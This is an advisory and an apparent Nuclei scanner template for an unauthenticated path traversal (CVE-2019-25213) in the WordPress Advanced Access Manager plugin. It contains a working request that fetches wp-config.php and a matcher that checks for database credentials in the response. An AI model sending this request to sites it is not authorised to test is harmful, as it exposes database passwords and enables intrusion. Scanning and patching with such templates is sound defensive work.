The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php
PoC
id: CVE-2019-25213
info:
name: WordPress Advanced Access Manager - Path Traversal
author: riteshs4hu
severity: critical
description: |
The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php
impact: |
Unauthenticated attackers can read sensitive files like wp-config.php, leading to information disclosure and potential further exploitation.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/55e0f0df-7be2-4e18-988c-2cc558768eff?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2019-25213
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-25213
epss-score: 0.02772
epss-percentile: 0.85595
cwe-id: CWE-264
metadata:
verified: true
max-request: 1
publicwww-query: "wp-content/plugins/advanced-access-manager"
tags: cve,cve2019,wordpress,wp-plugin,wp,advanced_access_manager,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=aam-media-load&aam-media=/wp-config.php"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'DB_NAME','DB_USER','DB_PASSWORD')"
condition: and
# digest: 4b0a00483046022100d191566417d03da35b6037e5497b5d7f3673fbcbc122c3d5b5d87a2ac64142d9022100b53e7e4f7c14e7f9bf651ada96d65407ccab6d80c82d7b310c2ee979f431b69c:922c64590222798bb761d5b6d8e72950
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